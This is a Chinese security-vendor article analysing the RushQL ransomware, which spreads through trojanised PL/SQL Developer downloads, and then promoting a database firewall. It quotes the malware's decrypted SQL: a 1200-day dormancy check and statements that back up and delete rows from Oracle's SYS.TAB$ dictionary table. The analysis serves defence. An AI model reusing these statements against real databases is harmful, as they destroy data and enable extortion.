百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 优雅编程 > 正文

Oracle数据库勒索病毒RushQL卷土重来,别慌,有对策!

sinye56 2024-10-19 13:52 5 浏览 0 评论

一、Oracle数据库勒索病毒死灰复燃

2018-11-19 国家信息安全漏洞共享平台正式发布通告“Oracle数据库勒索病毒RushQL死灰复燃”。转载原文如下:


从这封简短的通告我们可以发现,RushQL勒索病毒已经不是第一次肆虐Oracle数据库,早在2016年11月就已经在全球掀起了一场血雨腥风。当然,那时候它有个更响亮的名字“比特币勒索病毒”。

目光回溯到2016年11月,全国多家企事业单位遭受比特币勒索通知“你的数据库已被锁死,发送5个比特币到这个地址!”。用户在登陆Oracle数据库时出现如下勒索警告信息,被要求上交5个比特币来换取解锁数据库的服务。


时隔整整两年,RushQL勒索病毒卷土重来,发动新一轮的肆虐。我们不禁要反问自己:为什么我们会遭到同一勒索病毒连续攻击?数据库安全厂商能帮助数据库用户做些什么?

作为一家专注数据库安全的厂商,安华金和早已对RushQL勒索病毒进行了深度的解析并提供了解决方案。

二、勒索病毒攻击原理分析

早在2016年RushQL勒索病毒出现的时候,安华金和的攻防实验室就对该病毒做了深度分析,并提供了有效的检测和防护措施。

RushQL勒索病毒攻击的目标人群是数据库管理人员(DBA)。通过在CSDN等网站上恶意散播携带勒索病毒的PL SQL Developer(PL/SQL)软件程序,引诱用户下载并发起勒索攻击。

携带RushQL病毒的PL/SQL,解压后主目录的AfterConnect.SQL文件存在异常。官方的PL/SQL下AfterConnect.SQL是空文件,而异常的AfterConnect.SQL有 35KB。

该脚本的关键代码,采用了 Oracle数据库专用代码加密工具wrap进行了加密,我们对病毒脚本进行解密后发现,该脚本的主要功能是创建4个存储过程和3个触发器:

存储过程 DBMS_SUPPORT_INTERNAL

存储过程 DBMS_STANDARD_FUN9

存储过程 DBMS_SYSTEM_INTERNA

存储过程 DBMS_CORE_INTERNAL

触发器 DBMS_SUPPORT_INTERNAL

触发器 DBMS_ SYSTEM _INTERNAL

触发器 DBMS_ CORE _INTERNAL

三个触发器本身没有问题,问题在于存储过程。以DBMS_SUPPORT_INTERNAL为例,该存储过程的核心是两条SQL语句:

第1条SQL语句:SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200)

语句含义:根据创建数据库时间和当前时间差值做决定:是立刻入侵数据库实施勒索,还是先保持潜伏直到条件成熟再爆发进行勒索。判断条件为数据库实例创建时间距今是否满足1200天,一旦满足并重启数据库实例则执行第2条SQL语句。

第2条SQL语句:EXECUTE IMMEDIATE'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select *from sys.tab

;DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECTDATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

语句含义:勒索者首先对tab$中的文件进行备份,然后再删除tab$表中的部分内容清理数据库的备份文件后,向用户弹窗实施勒索。

综上所述,RushQL勒索病毒就是通过执行这些脚本入侵Oracle数据库。一旦使用这个PL/SQL工具访问数据库,相应对象会被后台自动注入数据库,执行触发器阻止后续的用户登录,并通过任务Truncate数据库表。

三、专项治理勒索病毒

2014年在国内“数据库安全”方兴未艾之际,安华金和已经开始推广数据库防火墙产品:通过串接部署的方式矗立在数据库最前端,形成了数据库安全的最后一道防线。

安华金和数据库防火墙产品,提供“数据库漏洞攻击防护”能力,是目前应对数据库勒索病毒最高效的产品选择。其防护的范围不仅涵盖CVE和CNNVD已经公布的大量数据库漏洞;还深度剖析“勒索病毒”的攻击方式,提供防护手段。

安华金和数据库防火墙产品,可以对oracle数据库的“密文存储过程”进行解密操作。这种准确破解“密文存储过程”的能力,不但在本次勒索案例中十分关键,也是防止第三方工具向数据库发送恶意存储过程的关键,只有准确破解加密包的内容才能进行精确的语法分析。

数据库防火墙能够把这些访问数据库的密文存储过程“明文化”,对“明文”进行SQL语法分析,匹配特征值;并对前后关联的SQL行为进行分析。如果判断该“语句包”存在恶意行为。产品可以进行会话阻断,并向相关人员进行危险告警,完成对数据库攻击的主动防护。

数据库防火墙产品早以形成内置的“虚拟补丁”规则,专项治理“RushQL勒索病毒(比特币攻击)”,如下图:

  • 漏洞类型:恶意代码
  • 漏洞源:攻击者可利用漏洞进行比特币攻击
  • 数据库版本:Oracle

勒索病毒入侵数据库多数是利用了数据库已有的安全漏洞,或者是植入恶意的存储过程。数据库长期暴露在应用系统和数据库运维人员的访问之下,如何有效防护勒索病毒?数据库防火墙提出三条解决方案:

①学习期行为建模

产品可自定义学习期,并基于学习期完成语句、会话的建模分析,构建数据库安全防护模型;并具备数据库语法分析能力,可以对SQL语句进行抽象描述,将海量的SQL语句归类成SQL模板,从而定义语句黑白名单规则。

学习期结束后,对非法的访问行为和SQL语句主动拦截、阻断,阻止恶意攻击行为。

(注:拦截和阻断的区别:系统支持会话阻断,可准确定位风险来源并阻断会话请求。在会话阻断的基础上,系统提供“语句拦截”的处理机制,仅针对会话里产生风险的SQL语句进行拦截,保持会话内其他合规语句的正常操作。)

②漏洞攻击防护

系统提供“虚拟补丁”防护能力,内置大量数据库漏洞防护规则,防护范围包括:系统注入、缓存区溢出、权限提升、数据泄露、拒绝服务等20多种数据库漏洞类型。当外部系统利用数据库漏洞进行入侵时,及时阻断入侵的风险会话。

③敏感数据防护

系统可关联数据库的Schema、表、字段等对象信息,建立敏感数据规则。对象之间又可以自定义“与/或”关系,形成敏感数据组。数据库防火墙针对“敏感数据组”建立安全防护体系,可结合“应用信息”、“客户端信息”、“操作行为”等元素共同定义操作规则。通过敏感数据组可以对数据库的“核心系统表”进行有效防护,在允许常规访问的前提下,防止恶意篡改和引用。

相关推荐

程序员:JDK的安装与配置(完整版)_jdk的安装方法

对于Java程序员来说,jdk是必不陌生的一个词。但怎么安装配置jdk,对新手来说确实头疼的一件事情。我这里以jdk10为例,详细的说明讲解了jdk的安装和配置,如果有不明白的小伙伴可以评论区留言哦下...

Linux中安装jdk并配置环境变量_linux jdk安装教程及环境变量配置

一、通过连接工具登录到Linux(我这里使用的Centos7.6版本)服务器连接工具有很多我就不一一介绍了今天使用比较常用的XShell工具登录成功如下:二、上传jdk安装包到Linux服务器jdk...

麒麟系统安装JAVA JDK教程_麒麟系统配置jdk

检查检查系统是否自带java在麒麟系统桌面空白处,右键“在终端打开”,打开shell对话框输入:java–version查看是否自带java及版本如图所示,系统自带OpenJDK,要先卸载自带JDK...

学习笔记-Linux JDK - 安装&配置

前提条件#检查是否存在JDKrpm-qa|grepjava#删除现存JDKyum-yremovejava*安装OracleJDK不分系统#进入安装文件目...

Linux新手入门系列:Linux下jdk安装配置

本系列文章是把作者刚接触和学习Linux时候的实操记录分享出来,内容主要包括Linux入门的一些理论概念知识、Web程序、mysql数据库的简单安装部署,希望能够帮到一些初学者,少走一些弯路。注意:L...

测试员必备:Linux下安装JDK 1.8你必须知道的那些事

1.简介在Oracle收购Sun后,Java的一系列产品就被整合到Oracle官网中,打开官网乍眼一看也不知道去哪里下载,还得一个一个的摸索尝试,而且网上大多数都是一些Oracle收购Sun前,或者就...

Linux 下安装JDK17_linux 安装jdk1.8 yum

一、安装环境操作系统:JDK版本:17二、安装步骤第一步:下载安装包下载Linux环境下的jdk1.8,请去官网(https://www.oracle.com/java/technologies/do...

在Ubuntu系统中安装JDK 17并配置环境变量教程

在Ubuntu系统上安装JDK17并配置环境变量是Java开发环境搭建的重要步骤。JDK17是Oracle提供的长期支持版本,广泛用于开发Java应用程序。以下是详细的步骤,帮助你在Ubuntu系...

如何在 Linux 上安装 Java_linux安装java的步骤

在桌面上拥抱Java应用程序,然后在所有桌面上运行它们。--SethKenlon(作者)无论你运行的是哪种操作系统,通常都有几种安装应用程序的方法。有时你可能会在应用程序商店中找到一个应用程序...

Windows和Linux环境下的JDK安装教程

JavaDevelopmentKit(简称JDK),是Java开发的核心工具包,提供了Java应用程序的编译、运行和开发所需的各类工具和类库。它包括了JRE(JavaRuntimeEnviro...

linux安装jdk_linux安装jdk软连接

JDK是啥就不用多介绍了哈,外行的人也不会进来看我的博文。依然记得读大学那会,第一次实验课就是在机房安装jdk,编写HelloWorld程序。时光飞逝啊,一下过了十多年了,挣了不少钱,买了跑车,娶了富...

linux安装jdk,全局配置,不同用户不同jdk

jdk1.8安装包链接:https://pan.baidu.com/s/14qBrh6ZpLK04QS8ogCepwg提取码:09zs上传文件解压tar-zxvfjdk-8u152-linux-...

运维大神教你在linux下安装jdk8_linux安装jdk1.7

1.到官网下载适合自己机器的版本。楼主下载的是jdk-8u66-linux-i586.tar.gzhttp://www.oracle.com/technetwork/java/javase/downl...

window和linux安装JDK1.8_linux 安装jdk1.8.tar

Windows安装JDK1.8的步骤:步骤1:下载JDK打开浏览器,找到JDK下载页面https://d.injdk.cn/download/oraclejdk/8在页面中找到并点击“下载...

最全的linux下安装JavaJDK的教程(图文详解)不会安装你来打我?

默认已经有了linux服务器,且有root账号首先检查一下是否已经安装过java的jdk任意位置输入命令:whichjava像我这个已经安装过了,就会提示在哪个位置,你的肯定是找不到。一般我们在...

取消回复欢迎 发表评论: